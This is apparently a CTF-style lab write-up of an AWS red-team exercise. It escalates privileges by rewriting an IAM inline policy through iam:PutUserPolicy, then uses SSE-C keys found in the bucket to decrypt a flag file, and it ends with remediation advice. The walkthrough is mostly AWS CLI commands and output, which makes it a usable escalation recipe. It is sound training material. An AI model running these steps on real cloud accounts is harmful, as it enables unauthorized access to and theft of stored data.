Skip to content

KeyMaster - Decoding S3 Secrets

Welcome to Secure Corp’s Red Team simulation! You have been assigned as a penetration tester to assess the security of Secure Corp’s backup storage. Your objective is to investigate potential misconfigurations in the use of AWS Key Management Service (KMS) with S3 Buckets and uncover any security loopholes that could lead to unauthorized access.

Your mission is simple: Identify weaknesses, exploit gaps, and retrieve the hidden flag inside Secure Corp’s S3 Bucket.

  • AWS Resources:

Organization have - Users, policies, S3 Bucket, KMS keys to manage the workflow.

  • Hidden Flag:

The flag is hidden in the S3 Bucket Object.

  • Gain initial access using provided credentials.
  • Enumerate IAM permissions to understand user capabilities.
  • Identify permission boundaries and escalate privileges within the allowed scope.
  • Interact with S3 Buckets and decrypt encrypted objects using KMS.
  • Retrieve the hidden flag from the S3 Bucket.

AWS-Red-KMS-01-Attack-FLow

Terminal window
Access Key ID: [REDACTED_AWS_ACCESS_KEY_ID]
Secret Access Key: [REDACTED_AWS_SECRET_ACCESS_KEY]

Configure the AWS CLI with the stolen credentials to establish a session.

Terminal window
> $ aws configure --profile s3-secrets
AWS Access Key ID [None]: [REDACTED_AWS_ACCESS_KEY_ID]
AWS Secret Access Key [None]: [REDACTED_AWS_SECRET_ACCESS_KEY]
Default region name [None]: us-east-1
Default output format [None]: json
  • A specific profile s3-secrets is created to keep this engagement isolated from default AWS credentials.

Verifying the user identity and account context.

Terminal window
> $ aws sts get-caller-identity --profile s3-secrets
{
"UserId": "[REDACTED_AWS_USERID]",
"Account": "058264439561",
"Arn": "arn:aws:iam::058264439561:user/BackupReader1"
}
  • Authentication as the user BackupReader1 is successful.

Listing “Inline Policies” (policies embedded directly into the user).

Terminal window
> $ aws iam list-user-policies --user-name BackupReader1 --profile s3-secrets
{
"PolicyNames": [
"admin-policy",
"FullAccessPolicy",
"KMSFullAccessPolicy",
"S3FullAccessAllBuckets",
"S3KMSBackupAccess",
"test-policy"
]
}

Listing “Managed Policies” (standalone policies attached to the user).

Terminal window
aws iam list-attached-user-policies --user-name BackupReader1 --profile s3-secrets
{
"AttachedPolicies": [
{
"PolicyName": "UserPolicy",
"PolicyArn": "arn:aws:iam::058264439561:policy/UserPolicy"
}
]
}

Inspecting the User metadata to find Permissions Boundaries.

Terminal window
> $ aws iam get-user --profile s3-secrets
{
"User": {
"Path": "/",
"UserName": "BackupReader1",
"UserId": "[REDACTED_AWS_USERID]",
"Arn": "arn:aws:iam::058264439561:user/BackupReader1",
"CreateDate": "2024-09-24T11:13:38+00:00",
"PermissionsBoundary": {
"PermissionsBoundaryType": "Policy",
"PermissionsBoundaryArn": "arn:aws:iam::058264439561:policy/PermissionBoundaryPolicy"
},
"Tags": [
{
"Key": "AllowSelfAssignS3KMS",
"Value": "true"
}
]
}
}
  • The user has a Permissions Boundary (PermissionBoundaryPolicy). This is a guardrail that defines the maximum permissions a user can have, but it does not grant permissions itself. The output also reveals a tag AllowSelfAssignS3KMS set to “true”, hinting at the intended escalation path.

3. Checking Inline and Attached Policy permissions

Section titled “3. Checking Inline and Attached Policy permissions”

Check if the Permissions Boundary allows granting additional administrative rights.

Retrieving the policy details for the boundary.

Terminal window
> $ aws iam get-policy --policy-arn arn:aws:iam::058264439561:policy/PermissionBoundaryPolicy --profile s3-secrets
{
"Policy": {
"PolicyName": "PermissionBoundaryPolicy",
"PolicyId": "ANPAQ3EGUZMEQVY32A5L4",
"Arn": "arn:aws:iam::058264439561:policy/PermissionBoundaryPolicy",
"Path": "/",
"DefaultVersionId": "v3",
"AttachmentCount": 0,
"PermissionsBoundaryUsageCount": 1,
"IsAttachable": true,
"Description": "Permission boundary for the IAM user",
"CreateDate": "2024-09-24T11:13:35+00:00",
"UpdateDate": "2025-05-28T08:01:14+00:00",
"Tags": []
}
}

Reading the actual JSON document of the Permission Boundary (Version v3).

Terminal window
> $ aws iam get-policy-version --policy-arn arn:aws:iam::058264439561:policy/PermissionBoundaryPolicy --version-id v3 --profile s3-secrets
{
"PolicyVersion": {
"Document": {
"Statement": [
{
"Action": [
"s3:ListBucket",
"s3:GetObject"
],
"Effect": "Allow",
"Resource": [
"arn:aws:s3:::securecopbakupbuk1",
"arn:aws:s3:::securecopbakupbuk1/*"
]
},
{
"Action": [
"kms:Decrypt"
],
"Effect": "Allow",
"Resource": "arn:aws:kms:us-east-1:058264439561:key/a7a251b3-c889-4dd1-9176-931c207c33d5"
},
{
"Action": [
"iam:GetUser",
"iam:ListUserPolicies",
"iam:ListAttachedUserPolicies",
"iam:GetPolicy",
"iam:GetPolicyVersion"
],
"Effect": "Allow",
"Resource": [
"arn:aws:iam::058264439561:user/BackupReader1",
"arn:aws:iam::058264439561:policy/PermissionBoundaryPolicy",
"arn:aws:iam::058264439561:policy/UserPolicy"
]
},
{
"Action": [
"iam:PutUserPolicy"
],
"Effect": "Allow",
"Resource": "arn:aws:iam::058264439561:user/BackupReader1"
}
],
"Version": "2012-10-17"
},
"VersionId": "v3",
"IsDefaultVersion": true,
"CreateDate": "2025-05-28T08:01:14+00:00"
}
}
  • The boundary allows iam:PutUserPolicy on the user BackupReader1. It also permits S3 access and KMS Decrypt. This means if the inline policy is updated to include these permissions, the boundary will not block them.

Exploit the PutUserPolicy permission to grant full access to the target S3 bucket and KMS key.

Create a file named policy.json with the following content:

{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": [
"s3:*"
],
"Resource": [
"arn:aws:s3:::securecopbakupbuk1",
"arn:aws:s3:::securecopbakupbuk1/*"
]
},
{
"Effect": "Allow",
"Action": "kms:*",
"Resource": "arn:aws:kms:us-east-1:058264439561:key/a7a251b3-c889-4dd1-9176-931c207c33d5"
}
]
}

Update the existing inline policy KMSFullAccessPolicy with the new permissions.

Terminal window
aws iam put-user-policy --user-name BackupReader1 --policy-name KMSFullAccessPolicy --policy-document file://policy.json --profile s3-secrets
  • The user BackupReader1 now effectively has full control over the specific S3 bucket and the specific KMS key, as both the Inline Policy uploaded and the Permissions Boundary allow it.

List the bucket contents and retrieve files.

Terminal window
> $ aws s3 ls s3://securecopbakupbuk1/ --profile s3-secrets
PRE .BurpSuite/
2024-09-24 16:49:10 411 Hospital+Patient+Records.zip
2024-09-24 16:48:40 411 env.txt
2024-09-24 16:43:42 113 key.txt
Terminal window
> $ aws s3 cp s3://securecopbakupbuk1/key.txt . --profile s3-secrets
download: s3://securecopbakupbuk1/key.txt to ./key.txt
  • Downloaded key.txt (This file appears to be unencrypted or uses standard encryption that is accessible).

Inspect the contents of the downloaded key file.

Terminal window
> $ strings key.txt
sse-customer-key= [REDACTED_SSE_C_KEY]
sse-customer-key-md5= [REDACTED_SSE_C_KEY_MD5]
  • The file key.txt contained raw encryption keys for SSE-C (Server-Side Encryption with Customer-Provided Keys). These specific keys must be used to decrypt the other files in the bucket.

Use the stolen SSE-C keys to download and decrypt the protected env.txt file.

The s3api get-object command is used because the standard s3 cp command requires different syntax for SSE-C. The Algorithm, the Key, and the MD5 hash found in the previous step are passed as arguments.

Terminal window
> $ aws s3api get-object --bucket securecopbakupbuk1 --key env.txt ./env.txt --sse-customer-algorithm AES256 --sse-customer-key [REDACTED_SSE_C_KEY] --sse-customer-key-md5 [REDACTED_SSE_C_KEY_MD5] --profile s3-secrets

Read the decrypted file to reveal the flag.

Terminal window
> $ cat env.txt
# AWS KMS Key Challenge Environment Variables
AWS_ACCESS_KEY_ID=your-access-key-id
AWS_SECRET_ACCESS_KEY=your-secret-access-key
AWS_REGION=us-west-2
# S3 Bucket Information
S3_BUCKET_NAME=securecorp-kms-bucket
S3_KEY_FILE=key.txt
S3_BACKUP_LOGS=backup_logs
S3_BACKUP_DATA=backup_data
# KMS Key Information
KMS_KEY_ID=your-kms-key-id
# Challenge Flag
FLAG=[REDACTED_FLAG]
  1. Over-permissive Permissions Boundary: The boundary allowed iam:PutUserPolicy. This is dangerous as it allows a user to define their own permissions up to the limits of the boundary.
  2. Hardcoded Secrets: The decryption keys (sse-customer-key) were stored in a plaintext file (key.txt) within the same storage bucket as the encrypted data.
  • Restrict IAM: Remove iam:PutUserPolicy from standard user roles. Policy updates should be handled by a centralized Admin or CI/CD pipeline.
  • Separation of Duties: Keys and Data should not be stored together. Use AWS Secrets Manager or strictly managed KMS policies rather than storing raw SSE-C keys in S3.
  • Enforce Least Privilege: Review the PermissionBoundaryPolicy to ensure it only allows the absolute minimum required actions.